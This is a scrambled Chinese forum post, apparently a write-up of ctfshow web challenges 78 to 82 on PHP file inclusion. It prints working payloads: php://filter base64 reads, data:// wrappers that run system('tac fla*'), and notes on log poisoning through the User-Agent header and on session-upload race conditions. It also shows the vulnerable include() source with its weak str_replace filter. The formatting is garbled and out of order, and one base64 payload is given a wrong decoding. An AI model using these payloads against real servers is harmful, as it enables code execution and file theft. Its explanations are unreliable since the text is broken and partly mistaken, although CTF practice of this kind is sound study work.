ctfshow-web文件包含
web78
- [/code][align=center]
[/align] - [align=center]
[/align] - [size=3]方法三:data协议[/size]
- data也是利用文件包含漏洞,将输入的代码当作php文件执行。
- data协议格式:
- [code]?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码 构造payload:- ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}
复制代码 将我们输入的当作php文件来执行,以达到读取flag的目的。
web79
- 可以用代替
- flag.php可以用*或?代替部分字符</p>或是直接使用base64编码
- [code]ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于
复制代码 当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。
日志包含
- data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码 user-agent里写上- [/code][align=center]
[/align] - [size=4]web80[/size]
- [code]
复制代码
发现有fl0g.php- [/code][align=center]
[/align] - [code]?file=data://text/plain,<?= system("tac fla*") ?>
- ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==
- PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');
复制代码 wbe81
- ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}
复制代码 发现比较上一题多了:绕过,我们还是可以使用日志包含- data://[<MIME-type>][;charset=<encoding>][;base64],<data>
复制代码 User-Agent- [/code][align=center]
[/align] - 发现存在fl0g.php,直接读取
- [code]
复制代码- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-09-16 11:25:09
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-09-16 11:26:29
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- if(isset($_GET['file'])){
- $file = $_GET['file'];
- $file = str_replace("php", "???", $file);
- $file = str_replace("data", "???", $file);
- include($file);
- }else{
- highlight_file(__FILE__);
- }
复制代码 web82
session特性与条件竞争
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园
[code] |